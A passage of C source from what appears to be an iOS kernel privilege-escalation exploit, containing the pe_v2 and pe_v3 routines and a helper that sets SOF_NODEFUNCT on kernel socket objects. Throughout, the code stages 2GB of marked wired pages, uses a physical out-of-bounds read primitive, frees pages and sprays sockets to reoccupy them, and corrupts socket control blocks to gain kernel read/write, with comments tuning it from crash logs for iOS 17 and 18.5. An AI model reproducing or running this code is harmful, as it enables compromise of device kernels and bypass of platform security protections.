                    }
                }
                if (!tracked) {
                    printf("[-] pe_v2: Found stale wired page, skipping\n");
                    seekingOffset += PAGE_SIZE;
                    continue;
                }
                // Clear the marker and deallocate — this frees the physical page
                *(uint64_t *)wiredPage = 0;
                *(uint64_t *)(wiredPage + 0x8) = 0;
                kr = mach_vm_deallocate(mach_task_self(), wiredPage, wiredEntrySize);
                if (kr != KERN_SUCCESS) {
                    printf("[-] pe_v2: Failed to deallocate wired page\n");
                    seekingOffset += PAGE_SIZE;
                    continue;
                }
                wiredAddrs[trackedIdx] = wiredAddrs[--wiredEntriesCount];
                freedWiredPagesThisMapping++;
                v2Freed++;

                // Incremental socket spray into the freed physical page
                uint64_t socketsBeforePage = fastSocketPortsCount;
                for (uint64_t sc = 0; sc < maxSocketsCount / splitCount && fastSocketPortsCount < maxSocketsCount; sc++) {
                    mach_port_t port = spray_socket_fast();
                    if (port == (mach_port_t)-1) {
                        printf("[-] pe_v2: Failed to spray sockets: %u\n", socketPortsCount);
                        break;
                    }
                }
                uint64_t socketsAddedThisPage = fastSocketPortsCount - socketsBeforePage;
                socketPortsCount = (unsigned)fastSocketPortsCount;
                if (socketsAddedThisPage < PE_V2_MIN_NEW_SOCKETS_PER_PAGE) {
                    printf("[-] pe_v2: socket spray added only %llu sockets after freeing page; stopping A18 pass\n",
                           socketsAddedThisPage);
                    socketSprayStarved = true;
                    sleep(1);
                    break;
                }

                // Batch reoccupation (see PE_V2_FREE_BATCH). The page was freed and
                // sprayed into above; record its offset and keep scanning/freeing
                // rather than burning the whole budget re-spraying this one page.
                // Once the batch fills, re-scan ALL of its offsets for ANY
                // reoccupied PCB -- P(any of N) >> P(one specific). Proven PAs
                // only, so no new aperture exposure.
                batchOffsets[batchCount++] = seekingOffset;
                if (batchCount < PE_V2_FREE_BATCH) {
                    seekingOffset += PAGE_SIZE;
                    continue;   // keep collecting before the batch scan
                }
                if (pe_v2_scan_batch(memoryObject, batchOffsets, batchCount,
                                     readBuffer, writeBuffer,
                                     maxSocketsCount, splitCount,
                                     &socketPortsCount, &v2ReoccupyAttempts)) {
                    success = true;
                    break;
                }
                batchCount = 0;
                // Batch exhausted without a hit. If out of sockets, recycle the
                // mapping; otherwise keep scanning to free the next batch.
                if (socketPortsCount >= maxSocketsCount) {
                    sockets_release_fast();
                    socketPortsCount = 0;
                    if (mappingRecycleCount >= PE_V2_MAX_MAPPING_RECYCLES) {
                        printf("[-] pe_v2: socket limit reached after %llu mapping recycles; stopping pass for safety\n",
                               mappingRecycleCount);
                        socketSprayStarved = true;
                        break;
                    }
                    mappingRecycleCount++;
                    printf("[+] pe_v2: Socket limit reached, recycling mapping %llu/%llu (%us settle)...\n",
                           mappingRecycleCount, (uint64_t)PE_V2_MAX_MAPPING_RECYCLES,
                           (unsigned)PE_V2_RECYCLE_WAIT_SECONDS);
                    recycleMapping = true;
                    break;
                }
                seekingOffset += PAGE_SIZE;   // keep scanning to free the next batch
            } else {
                int frc = find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, nil, false);
                if (frc == KERN_SUCCESS) {
                    // Found a PCB page without wired marker
                    printf("[+] pe_v2: offset %#llx: Found PCB page!\n", seekingOffset);
                    success = true;
                    break;
                }
                if (frc == PHYSICAL_OOB_CORRUPT_FATAL) {
                    printf("[KRW] pe_v2: run aborted by physical OOB inconsistency limit\n");
                    break;
                }
                seekingOffset += PAGE_SIZE;
            }
        }

        // Round 21: an aborted primitive must not grind on to the next mapping.
        // Fall through the normal per-mapping cleanup via socketSprayStarved
        // (skips the scan-end batch probe, runs dealloc, then breaks).
        if (physical_oob_run_aborted() && !success) {
            log_user("[WARN] pe_v2 aborting: physical OOB inconsistency limit "
                     "reached — not re-rolling an untrustworthy primitive.\n");
            socketSprayStarved = true;
        }

        // Scan-end: a partial batch (fewer than PE_V2_FREE_BATCH freed pages) may
        // still hold a reoccupied page we never scanned. Check it before teardown.
        if (!success && !socketSprayStarved && !recycleMapping && batchCount > 0) {
            if (pe_v2_scan_batch(memoryObject, batchOffsets, batchCount,
                                 readBuffer, writeBuffer,
                                 maxSocketsCount, splitCount,
                                 &socketPortsCount, &v2ReoccupyAttempts)) {
                success = true;
            }
        }

        kr = mach_port_deallocate(mach_task_self(), memoryObject);
        sockets_release_fast();
        surface_munlock(searchMappingAddress, searchMappingSize);
        kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);

        if (success) {
            exploitSuccess = true;
            break;
        }
        if (socketSprayStarved)
            break;
        if (recycleMapping) {
            sleep(PE_V2_RECYCLE_WAIT_SECONDS);
            continue;
        }
    }

pe_v2_cleanup:
    // Cleanup: deallocate remaining wired pages
    for (uint64_t i = 0; i < wiredEntriesCount; i++) {
        mach_vm_deallocate(mach_task_self(), wiredAddrs[i], wiredEntrySize);
        if (((i + 1) % WIRED_DEALLOC_PACE_EVERY) == 0)
            usleep(WIRED_DEALLOC_PACE_US);
    }
    surface_munlock_all();
    printf("[+] pe_v2: Done, cleaned up %llu remaining wired pages\n", wiredEntriesCount);
    free(wiredAddrs);
    free(readBuffer);
    free(writeBuffer);
    fastSocketMode = false;
    if (!kexploit_post_hunt_check("pe_v2")) {
        printf("[-] pe_v2: post-hunt mapping integrity check FAILED — refusing "
               "the result log and tweak work\n");
        exploitSuccess = false;
    }
    const char *v2Outcome = exploitSuccess ? "acquired"
                            : (v2HuntWins == 0) ? "hunt-miss"
                                                : "reoccupy-miss";
    log_user("[RESULT] pe_v2 outcome=%s mappings=%llu hunt_wins=%llu freed=%llu "
             "reoccupy_attempts=%llu reads=%d\n",
             v2Outcome, (unsigned long long)v2Mappings,
             (unsigned long long)v2HuntWins, (unsigned long long)v2Freed,
             (unsigned long long)v2ReoccupyAttempts, successReadCount);
    if (!exploitSuccess)
        printf("[-] pe_v2: exiting without early krw primitives\n");
    return exploitSuccess;
}

// --- pe_v3: pe_v2's wired-marker technique with a single-hunt discipline -----
//
// Same staging, same hunt, same batch reoccupation as pe_v2. Two behavioural
// differences, both aimed at the aperture panics:
//
//   1. ONE mapping hunt per run. pe_v2 recycles into a fresh search mapping
//      when sockets run out, and implicitly re-hunts when a scan exhausts the
//      mapping. Every new hunt is a new walk over unproven neighbour pages,
//      which is where every pe_v2 aperture panic has lived. In the Sep-3 log
//      batch (13 runs), recycles converted 0 misses into acquisitions while
//      roughly half of the 5 panics died in re-hunts — so re-hunting is pure
//      downside. pe_v3 never starts a second hunt.
//
//   2. Proven-pair cycling instead of re-hunting. When reoccupation fails,
//      pe_v3 releases the spray, lets the zone settle, re-sprays, and re-scans
//      ONLY the offsets it already freed this run. Those PAs were read once
//      during the hunt (proven mapped) and freed by us, so re-reading them
//      adds no aperture exposure. P(commit) per cycle is the same lottery as
//      pe_v2's recycle, minus the new-hunt reads.
//
// Telemetry: the [RESULT] row adds hunt_reads (unproven neighbour pages read),
// own (of those, hits on our own staged pages), foreign (= hunt_reads - own)
// and cycles. own/foreign is the on-device verdict for the "interleaved
// allocation makes the neighbour ours" hypothesis: v1's own-page-successor
// data predicts own/hunt_reads stays low; if it comes back high instead,
// alternating allocation is worth building.
//
// pe_v2 is left byte-identical; select pe_v3 via the A18 exploit path setting
// (stored value 2).

// Re-spray and re-scan ONLY pages already proven this run. Every read targets
// a PA we have already read once (and then freed ourselves), so this adds no
// aperture exposure. Returns true on commit.
static bool pe_v3_cycle_proven(mach_port_t memoryObject,
                               const mach_vm_offset_t *offsets, uint64_t nOffsets,
                               void *readBuffer, void *writeBuffer,
                               uint64_t maxSocketsCount, uint64_t splitCount,
                               unsigned *socketPortsCount,
                               uint64_t *reoccupyAttempts, uint64_t *cycles) {
    for (uint64_t c = 0; c < PE_V2_PROVEN_CYCLE_ROUNDS; c++) {
        (*cycles)++;
        // Visible progress: 20 cycles of settle + re-spray can take over a
        // minute, which otherwise looks like a hang.
        if (c == 0 || ((c + 1) % 5) == 0)
            log_user("[KRW] pe_v3: reoccupation cycle %llu/%d on %llu proven pages (no new aperture reads)\n",
                     (unsigned long long)(c + 1), PE_V2_PROVEN_CYCLE_ROUNDS,
                     (unsigned long long)nOffsets);
        sockets_release_fast();
        *socketPortsCount = 0;
        fastSocketPortsCount = 0;
        sleep(PE_V2_RECYCLE_WAIT_SECONDS);   // let the zone actually shrink/settle
        if (physical_oob_run_aborted()) break;
        // Spray a real batch before the scan, not just a preflight probe:
        // preflight sprays one socket and releases it, which would leave the
        // first pe_v2_scan_batch round matching against zero sockets (its own
        // spray only fires at round end). Fill the zone up front so every
        // scan round is productive.
        for (uint64_t sc = 0;
             sc < maxSocketsCount / splitCount && fastSocketPortsCount < maxSocketsCount;
             sc++) {
            if (spray_socket_fast() == (mach_port_t)-1) break;
        }
        *socketPortsCount = (unsigned)fastSocketPortsCount;
        if (fastSocketPortsCount == 0) break;   // spray unavailable; nothing to scan into
        for (uint64_t base = 0; base < nOffsets; base += PE_V2_FREE_BATCH) {
            uint64_t n = nOffsets - base;
            if (n > PE_V2_FREE_BATCH) n = PE_V2_FREE_BATCH;
            if (pe_v2_scan_batch(memoryObject, offsets + base, n,
                                 readBuffer, writeBuffer,
                                 maxSocketsCount, splitCount,
                                 socketPortsCount, reoccupyAttempts))
                return true;
        }
        if (physical_oob_run_aborted()) break;
    }
    return false;
}

// Set when pe_v3 stopped its single hunt at PE_V3_HUNT_FOREIGN_CAP. The caller
// uses it to re-roll a fresh layout once; a clean cycle-only run is not proof
// the next hunt is safe (every aperture panic in the field data was mid-hunt).
static bool gPeV3HuntBudgetHit = false;

bool pe_v3(void) {
    gPeV3HuntBudgetHit = false;
    g_oob_race_max_tries = 4000;  // single-target confirm can need >500 to win

    void *readBuffer = calloc(1, OOB_SIZE);
    void *writeBuffer = calloc(1, OOB_SIZE);
    if (!readBuffer || !writeBuffer) {
        printf("[-] failed to allocate OOB buffers\n");
        log_user("[WARN] Not enough memory to stage the exploit.\n");
        free(readBuffer);
        free(writeBuffer);
        return false;
    }
    if (!initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE)) {
        free(readBuffer);
        free(writeBuffer);
        return false;
    }

    mach_vm_size_t wiredEntrySize = PAGE_SIZE;
    mach_vm_size_t wiredTotalSize = 1024ULL * 1024ULL * 1024ULL * 2ULL; // 2GB
    uint64_t nWiredEntries = wiredTotalSize / wiredEntrySize;

    printf("[i] pe_v3: Allocating %llu wired pages (2GB)...\n", nWiredEntries);

    mach_vm_address_t *wiredAddrs = calloc(nWiredEntries, sizeof(*wiredAddrs));
    if (!wiredAddrs) {
        printf("[-] pe_v3: failed to allocate wired address tracker\n");
        log_user("[WARN] Not enough memory to stage the A18 exploit.\n");
        free(readBuffer);
        free(writeBuffer);
        return false;
    }
    uint64_t wiredEntriesCount = nWiredEntries;
    uint64_t v3HuntWins = 0, v3Freed = 0, v3ReoccupyAttempts = 0;
    uint64_t v3Cycles = 0, v3HuntReads = 0, v3HuntOwn = 0;
    // With the counters, before the first goto pe_v3_cleanup: the staging-floor
    // goto jumps over a later `= false` initializer, so the cleanup's outcome
    // string and return value would otherwise read an indeterminate value.
    bool exploitSuccess = false;

    kern_return_t kr = KERN_SUCCESS;
    mach_vm_address_t wiredAddr = 0;

    // One search mapping (single hunt).
    const mach_vm_size_t searchMappingSize = 0x800ULL * PAGE_SIZE;

    uint64_t wiredMlockFailures = 0;
    uint64_t wiredMlockSuccesses = 0;
    uint64_t consecutiveMlockFailures = 0;
    bool mlockCeilingReached = false;
    uint64_t stagedWiredEntries = 0;
    for (uint64_t i = 0; i < nWiredEntries; i++) {
        if (i == 0) {
            kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_ANYWHERE);
            if (kr != KERN_SUCCESS) {
                printf("[-] pe_v3: initial mach_vm_allocate failed\n");
                break;
            }
        } else {
            // Bounded fixed-address probing, same as pe_v2: an unbounded loop
            // here hung the app with no log and no timeout.
            mach_vm_address_t nextAddr = wiredAddrs[i - 1] + wiredEntrySize;
            kr = KERN_FAILURE;
            for (unsigned probe = 0; probe < PE_V2_MAX_FIXED_ALLOC_PROBES; probe++) {
                wiredAddr = nextAddr;
                kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_FIXED);
                nextAddr += wiredEntrySize;
                if (kr == KERN_SUCCESS) break;
            }
            if (kr != KERN_SUCCESS) {
                printf("[-] pe_v3: no allocatable page within %u probes after %#llx; "
                       "stopping wiring at %llu/%llu pages\n",
                       (unsigned)PE_V2_MAX_FIXED_ALLOC_PROBES, wiredAddrs[i - 1], i, nWiredEntries);
                break;
            }
        }
        wiredAddrs[i] = wiredAddr;
        if (!mlockCeilingReached) {
            if (surface_mlock(wiredAddr, wiredEntrySize)) {
                wiredMlockSuccesses++;
                consecutiveMlockFailures = 0;
            } else {
                wiredMlockFailures++;
                if (++consecutiveMlockFailures >= PE_V2_MAX_CONSECUTIVE_MLOCK_FAILURES) {
                    mlockCeilingReached = true;
                    printf("[i] pe_v3: IOSurface ceiling reached after %llu wired pages; "
                           "skipping further mlock attempts\n", wiredMlockSuccesses);
                }
            }
        }
        // Tag each page: marker at +0x0, own address at +0x8
        *(uint64_t *)wiredAddr = wiredPageMarker;
        *(uint64_t *)(wiredAddr + 0x8) = wiredAddr;
        stagedWiredEntries = i + 1;
    }
    wiredEntriesCount = stagedWiredEntries;
    printf("[+] pe_v3: Allocated %llu/%llu pages, %llu actually wired (%llu mlock failures)\n",
           stagedWiredEntries, nWiredEntries, wiredMlockSuccesses, wiredMlockFailures);

    // Same floor as pe_v2: mlock failures are expected (IOSurface per-process
    // ceiling), but below PE_V2_MIN_WIRED_PAGES staging cannot work at all.
    if (stagedWiredEntries == 0 || wiredMlockSuccesses < PE_V2_MIN_WIRED_PAGES) {
        printf("[-] pe_v3: only %llu pages wired (floor %u); aborting\n",
               wiredMlockSuccesses, (unsigned)PE_V2_MIN_WIRED_PAGES);
        log_user("[WARN] A18 staging wired only %llu pages. Reboot and try again.\n",
                 wiredMlockSuccesses);
        goto pe_v3_cleanup;
    }

    fastSocketMode = true;
    fastTargetInpGencntCount = 0;
    memset(fastTargetInpGencntList, 0, sizeof(fastTargetInpGencntList));

    // Single-hunt: exactly one search mapping. No recycle, no second hunt —
    // every re-hunt in pe_v2's logs was new unproven aperture exposure that
    // never once produced an acquisition.
    {
        mach_vm_address_t searchMappingAddress = 0;
        kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
        if (kr != KERN_SUCCESS) {
            printf("[-] pe_v3: mach_vm_allocate search mapping failed\n");
            goto pe_v3_cleanup;
        }
        for (uint64_t k = 0; k < searchMappingSize; k += PAGE_SIZE) {
            *(uint64_t *)(searchMappingAddress + k) = randomMarker;
        }
        if (!ensure_search_mapping_wired(searchMappingAddress, searchMappingSize)) {
            log_user("[WARN] Could not wire the A18 search mapping; stopping before the race "
                     "(racing unwired is what faults the kernel physical aperture).\n");
            mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);
            goto pe_v3_cleanup;
        }

        mach_port_t memoryObject = 0;
        mach_vm_size_t memoryObjectSize = searchMappingSize;
        kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
        if (kr != KERN_SUCCESS) {
            printf("[-] pe_v3: mach_make_memory_entry_64 failed\n");
            surface_munlock(searchMappingAddress, searchMappingSize);
            mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);
            goto pe_v3_cleanup;
        }

        sockets_release_fast();
        unsigned socketPortsCount = 0;
        uint64_t maxSocketsCount = 0x5800;
        uint64_t splitCount = 8;
        mach_vm_address_t seenWiredPages[4096];
        uint64_t seenWiredPageCount = 0;

        bool success = false;
        bool socketSprayStarved = false;
        mach_vm_offset_t seekingOffset = 0;
        uint64_t wiredPageLogCount = 0;
        uint64_t freedWiredPages = 0;
        mach_vm_offset_t batchOffsets[PE_V2_FREE_BATCH];
        uint64_t batchCount = 0;
        // Every offset we freed this run: proven-safe reads, re-usable for
        // reoccupation cycles without any new aperture exposure.
        mach_vm_offset_t provenOffsets[PE_V2_MAX_FREED_WIRED_PER_MAPPING];
        uint64_t provenCount = 0;
        int huntWinStart = successReadCount;

        while (seekingOffset + pcSize <= searchMappingSize) {
            // Stop the scan the moment the primitive is untrusted, before
            // another OOB read touches a physical neighbour.
            if (physical_oob_run_aborted()) {
                socketSprayStarved = true;
                break;
            }
            // Before the next unproven read: past the cap, this layout has
            // never paid off. Break (not abort): the partial batch below still
            // gets its zero-exposure scan, then the auto-retry re-rolls.
            if (v3HuntReads - v3HuntOwn >= PE_V3_HUNT_FOREIGN_CAP) {
                gPeV3HuntBudgetHit = true;
                log_user("[KRW] pe_v3: hunt reached %d foreign reads with %llu own pages; "
                         "no hunt past that has ever acquired, stopping it here\n",
                         PE_V3_HUNT_FOREIGN_CAP, (unsigned long long)v3HuntOwn);
                break;
            }
            kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
            if (kr != KERN_SUCCESS) {
                seekingOffset += PAGE_SIZE;
                continue;
            }
            v3HuntReads++;   // one unproven neighbour page survived per increment

            // Same hunt budget as pe_v2: staging not landing -> abort cleanly
            // rather than grinding into the aperture carve-outs.
            if (seenWiredPageCount == 0 &&
                successReadCount - huntWinStart >= PE_V2_HUNT_WIN_BUDGET) {
                printf("[-] pe_v3: %d successful reads without finding a staged "
                       "page — staging is not landing; aborting run cleanly\n",
                       PE_V2_HUNT_WIN_BUDGET);
                log_user("[KRW] A18 staging never turned up in the scan after %d "
                         "reads — aborting cleanly instead of grinding into the "
                         "aperture carve-outs. Retry, or switch the A18 exploit "
                         "path to pe_v1.\n", PE_V2_HUNT_WIN_BUDGET);
                socketSprayStarved = true;
                break;
            }

            uint64_t firstQword = *(uint64_t *)readBuffer;

            if (firstQword == wiredPageMarker) {
                v3HuntOwn++;   // neighbour was our own staged page
                // Found a wired page! Read back the stored virtual address.
                uint64_t wiredPage = *(uint64_t *)((uint8_t *)readBuffer + 0x8);
                wiredPageLogCount++;
                if (wiredPageLogCount <= 4 || (wiredPageLogCount % 16) == 0) {
                    printf("[i] pe_v3: offset %#llx: Found wired page %#llx (seen=%llu)\n",
                           seekingOffset, wiredPage, wiredPageLogCount);
                }

                bool dup = false;
                for (uint64_t w = 0; w < seenWiredPageCount; w++) {
                    if (seenWiredPages[w] == wiredPage) {
                        dup = true;
                        break;
                    }
                }
                if (dup) {
                    printf("[-] pe_v3: Found old/duplicate wired page, skipping\n");
                    seekingOffset += PAGE_SIZE;
                    continue;
                }
                if (seenWiredPageCount < sizeof(seenWiredPages) / sizeof(seenWiredPages[0]))
                    seenWiredPages[seenWiredPageCount++] = wiredPage;
                v3HuntWins++;

                if (freedWiredPages >= PE_V2_MAX_FREED_WIRED_PER_MAPPING) {
                    printf("[-] pe_v3: freed %llu wired pages without a hit; stopping hunt\n",
                           freedWiredPages);
                    break;   // provenCount is full; cycle what we have
                }

                if (socketPortsCount == 0 && fastSocketPortsCount == 0 &&
                    !preflight_socket_spray_fast()) {
                    printf("[-] pe_v3: socket spray unavailable before freeing wired page; stopping hunt\n");
                    socketSprayStarved = true;
                    break;
                }
                if (fastSocketPortsCount >= maxSocketsCount) {
                    printf("[+] pe_v3: socket limit reached before freeing another wired page; cycling proven pages\n");
                    break;   // cycle what we have (if anything)
                }

                bool tracked = false;
                uint64_t trackedIdx = 0;
                for (uint64_t j = 0; j < wiredEntriesCount; j++) {
                    if (wiredAddrs[j] == wiredPage) {
                        trackedIdx = j;
                        tracked = true;
                        break;
                    }
                }
                if (!tracked) {
                    printf("[-] pe_v3: Found stale wired page, skipping\n");
                    seekingOffset += PAGE_SIZE;
                    continue;
                }
                // Clear the marker and deallocate — this frees the physical page
                *(uint64_t *)wiredPage = 0;
                *(uint64_t *)(wiredPage + 0x8) = 0;
                kr = mach_vm_deallocate(mach_task_self(), wiredPage, wiredEntrySize);
                if (kr != KERN_SUCCESS) {
                    printf("[-] pe_v3: Failed to deallocate wired page\n");
                    seekingOffset += PAGE_SIZE;
                    continue;
                }
                wiredAddrs[trackedIdx] = wiredAddrs[--wiredEntriesCount];
                freedWiredPages++;
                v3Freed++;

                // Incremental socket spray into the freed physical page
                uint64_t socketsBeforePage = fastSocketPortsCount;
                for (uint64_t sc = 0; sc < maxSocketsCount / splitCount && fastSocketPortsCount < maxSocketsCount; sc++) {
                    mach_port_t port = spray_socket_fast();
                    if (port == (mach_port_t)-1) {
                        printf("[-] pe_v3: Failed to spray sockets: %u\n", socketPortsCount);
                        break;
                    }
                }
                uint64_t socketsAddedThisPage = fastSocketPortsCount - socketsBeforePage;
                socketPortsCount = (unsigned)fastSocketPortsCount;
                if (socketsAddedThisPage < PE_V2_MIN_NEW_SOCKETS_PER_PAGE) {
                    printf("[-] pe_v3: socket spray added only %llu sockets after freeing page; stopping hunt\n",
                           socketsAddedThisPage);
                    socketSprayStarved = true;
                    sleep(1);
                    break;
                }

                // Batch reoccupation, same as pe_v2: collect PE_V2_FREE_BATCH
                // freed offsets, then re-scan all of them for ANY reoccupied
                // PCB. Proven PAs only, so no new aperture exposure.
                batchOffsets[batchCount++] = seekingOffset;
                if (provenCount < PE_V2_MAX_FREED_WIRED_PER_MAPPING)
                    provenOffsets[provenCount++] = seekingOffset;
                if (batchCount < PE_V2_FREE_BATCH) {
                    seekingOffset += PAGE_SIZE;
                    continue;   // keep collecting before the batch scan
                }
                if (pe_v2_scan_batch(memoryObject, batchOffsets, batchCount,
                                     readBuffer, writeBuffer,
                                     maxSocketsCount, splitCount,
                                     &socketPortsCount, &v3ReoccupyAttempts)) {
                    success = true;
                    break;
                }
                batchCount = 0;
                // Batch exhausted without a hit. pe_v2 recycles into a fresh
                // mapping here — a whole new hunt over unproven neighbours.
                // pe_v3 instead stops hunting and cycles the proven pages.
                if (socketPortsCount >= maxSocketsCount) {
                    printf("[+] pe_v3: socket limit reached; cycling %llu proven pages (single-hunt)\n",
                           provenCount);
                    break;
                }
                seekingOffset += PAGE_SIZE;   // keep hunting for the next batch
            } else {
                int frc = find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, nil, false);
                if (frc == KERN_SUCCESS) {
                    // Found a PCB page without wired marker
                    printf("[+] pe_v3: offset %#llx: Found PCB page!\n", seekingOffset);
                    success = true;
                    break;
                }
                if (frc == PHYSICAL_OOB_CORRUPT_FATAL) {
                    printf("[KRW] pe_v3: run aborted by physical OOB inconsistency limit\n");
                    break;
                }
                seekingOffset += PAGE_SIZE;
            }
        }

        if (physical_oob_run_aborted() && !success) {
            log_user("[WARN] pe_v3 aborting: physical OOB inconsistency limit "
                     "reached — not re-rolling an untrustworthy primitive.\n");
            socketSprayStarved = true;
        }

        // Scan-end: a partial batch (fewer than PE_V2_FREE_BATCH freed pages) may
        // still hold a reoccupied page we never scanned. Check it before cycling.
        if (!success && !socketSprayStarved && batchCount > 0) {
            if (pe_v2_scan_batch(memoryObject, batchOffsets, batchCount,
                                 readBuffer, writeBuffer,
                                 maxSocketsCount, splitCount,
                                 &socketPortsCount, &v3ReoccupyAttempts)) {
                success = true;
            }
        }

        // Single-hunt reoccupation: cycle ONLY proven pages (release, settle,
        // re-spray, re-scan). No fresh hunt, ever. Skipped after a sparse hunt
        // (see PE_V3_CYCLE_FOREIGN_CUTOFF): those cycles have never landed.
        uint64_t huntForeign = v3HuntReads - v3HuntOwn;
        bool cyclesHopeless = huntForeign > PE_V3_CYCLE_FOREIGN_CUTOFF;
        if (!success && provenCount > 0 && cyclesHopeless &&
            !socketSprayStarved && !physical_oob_run_aborted()) {
            log_user("[KRW] pe_v3: hunt needed %llu foreign reads (> %d); reoccupation "
                     "has never landed after a hunt like that, so skipping it and "
                     "retrying now\n",
                     (unsigned long long)huntForeign, PE_V3_CYCLE_FOREIGN_CUTOFF);
        }
        if (!success && provenCount > 0 && !cyclesHopeless &&
            !socketSprayStarved && !physical_oob_run_aborted()) {
            if (pe_v3_cycle_proven(memoryObject, provenOffsets, provenCount,
                                   readBuffer, writeBuffer,
                                   maxSocketsCount, splitCount,
                                   &socketPortsCount, &v3ReoccupyAttempts,
                                   &v3Cycles)) {
                success = true;
            }
        }

        kr = mach_port_deallocate(mach_task_self(), memoryObject);
        sockets_release_fast();
        surface_munlock(searchMappingAddress, searchMappingSize);
        kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);

        exploitSuccess = success;
    }

pe_v3_cleanup:
    // Cleanup: deallocate remaining wired pages
    for (uint64_t i = 0; i < wiredEntriesCount; i++) {
        mach_vm_deallocate(mach_task_self(), wiredAddrs[i], wiredEntrySize);
        if (((i + 1) % WIRED_DEALLOC_PACE_EVERY) == 0)
            usleep(WIRED_DEALLOC_PACE_US);
    }
    surface_munlock_all();
    printf("[+] pe_v3: Done, cleaned up %llu remaining wired pages\n", wiredEntriesCount);
    free(wiredAddrs);
    free(readBuffer);
    free(writeBuffer);
    fastSocketMode = false;
    if (!kexploit_post_hunt_check("pe_v3")) {
        printf("[-] pe_v3: post-hunt mapping integrity check FAILED — refusing "
               "the result log and tweak work\n");
        exploitSuccess = false;
    }
    const char *v3Outcome = exploitSuccess ? "acquired"
                            : (v3HuntWins == 0) ? "hunt-miss"
                                                : "reoccupy-miss";
    log_user("[RESULT] pe_v3 outcome=%s mappings=1 hunt_wins=%llu freed=%llu "
             "reoccupy_attempts=%llu reads=%d hunt_reads=%llu own=%llu foreign=%llu "
             "cycles=%llu\n",
             v3Outcome,
             (unsigned long long)v3HuntWins, (unsigned long long)v3Freed,
             (unsigned long long)v3ReoccupyAttempts, successReadCount,
             (unsigned long long)v3HuntReads, (unsigned long long)v3HuntOwn,
             (unsigned long long)(v3HuntReads - v3HuntOwn),
             (unsigned long long)v3Cycles);
    if (!exploitSuccess)
        printf("[-] pe_v3: exiting without early krw primitives\n");
    return exploitSuccess;
}

// --- socket reclaim immunity: SOF_NODEFUNCT on the two KRW sockets -----------
//
// When iOS backgrounds/suspends an app or the device locks, SpringBoard (via
// its resume/suspend entitlement) issues pid_shutdown_sockets(pid,
// SHUTDOWN_SOCKET_LEVEL_DISCONNECT_ALL) — bsd/kern/kern_proc.c in xnu-11417
// (iOS 18.5), bsd/vm/vm_unix.c in xnu-10002 (iOS 17). That iterates EVERY
// proc's fd table (proc_fdlock + fdt_foreach over p_fd.fd_ofiles) and defuncts
// sockets whose owner matches — including via so->last_pid, so our sockets are
// matched even while their fds rest in launchd (fd-hiding alone would NOT
// protect them; that is why this is option A, not B). socket_defunct() →
// sodefunct() detaches the in6pcb and frees in6p_icmp6filt; afterwards
// setsockopt(ICMP6_FILTER) fails EINVAL and the primitive is dead.
//
// The exemption: both reclaim paths (and the mbuf watchdog) reach the socket
// through sosetdefunct(..., noforce=TRUE), which SKIPS sockets carrying
// SOF_NODEFUNCT (0x8000 in so_flags). PF_LOCAL/PF_SYSTEM sockets get the bit
// at creation for exactly this reason (uipc_socket.c). The only noforce=FALSE
// paths are the extended-bk-idle drain (applies only to sockets that asked
// for SOF1_EXTEND_BK_IDLE_WANTED — ours never do) and the DEVELOPMENT-only
// SO_DEFUNCTIT setsockopt. So setting SOF_NODEFUNCT makes every realistic
// reclaim walk skip the KRW sockets, in whichever proc's fd table they sit.
//
// The bit lives on the kernel socket object, which persists while launchd
// anchors the fileports — so this is applied once per socket object and needs
// no hide/unhide lifecycle around backgrounding.
#define KRW_SOF_NODEFUNCT 0x00008000

// OR a 32-bit mask into a kernel word without disturbing the 28 bytes that
// FOLLOW it. The primitive writes a full 32-byte block, so a naive kwrite32()
// at so_flags would also write back a snapshot of so_flags1 / so_upcallusecount
// / so_usecount / so_retaincnt — fields the kernel updates atomically on every
// socket operation; rolling one back would corrupt the socket's lifetime
// accounting. Sliding the window backwards puts the target in the LAST four
// bytes of the block: [kaddr-28, kaddr+4) covers only creation-time/diagnostic
// fields (so_eventmask, last_pid, last_upid, so_filt tail). Same double-read
// stability rule as kadjust32_stable(): if the window is caught mid-update we
// retry, and if it never settles we decline the write rather than corrupt.
static bool krw_or32_backslide(uint64_t kaddr, uint32_t mask,
                               uint32_t *outOld, uint32_t *outNew) {
    if (!is_kaddr_valid(kaddr)) return false;
    uint64_t base = kaddr - (EARLY_KRW_LENGTH - 4);
    uint64_t pageMask = (uint64_t)vm_page_size - 1;
    if ((base & ~pageMask) != ((base + EARLY_KRW_LENGTH - 1) & ~pageMask)) {
        printf("[KRW] defunct-immune: refusing straddling write at %#llx\n",
               (unsigned long long)base);
        return false;
    }
    for (int attempt = 0; attempt < 8; attempt++) {
        uint8_t first[EARLY_KRW_LENGTH], second[EARLY_KRW_LENGTH];
        // KT-02: two FAILED reads are both zero-filled and compare equal; the
        // write-back would then zero the whole window. A failed read means the
        // primitive is unavailable, not that the window is in flight — decline.
        if (!early_kread_checked(base, first, EARLY_KRW_LENGTH) ||
            !early_kread_checked(base, second, EARLY_KRW_LENGTH)) {
            printf("[KRW] defunct-immune: read of window at %#llx failed; "
                   "write declined\n", (unsigned long long)base);
            return false;
        }
        if (memcmp(first, second, EARLY_KRW_LENGTH) != 0)
            continue;                       // caught mid-update; retry
        uint32_t oldValue;
        memcpy(&oldValue, first + EARLY_KRW_LENGTH - 4, sizeof(oldValue));
        uint32_t newValue = oldValue | mask;
        if (newValue != oldValue) {
            memcpy(first + EARLY_KRW_LENGTH - 4, &newValue, sizeof(newValue));
            if (!early_kwrite32bytes_checked(base, first)) {
                printf("[KRW] defunct-immune: write at %#llx failed\n",
                       (unsigned long long)base);
                return false;
            }
        }
        // Readback-verify the target word itself.
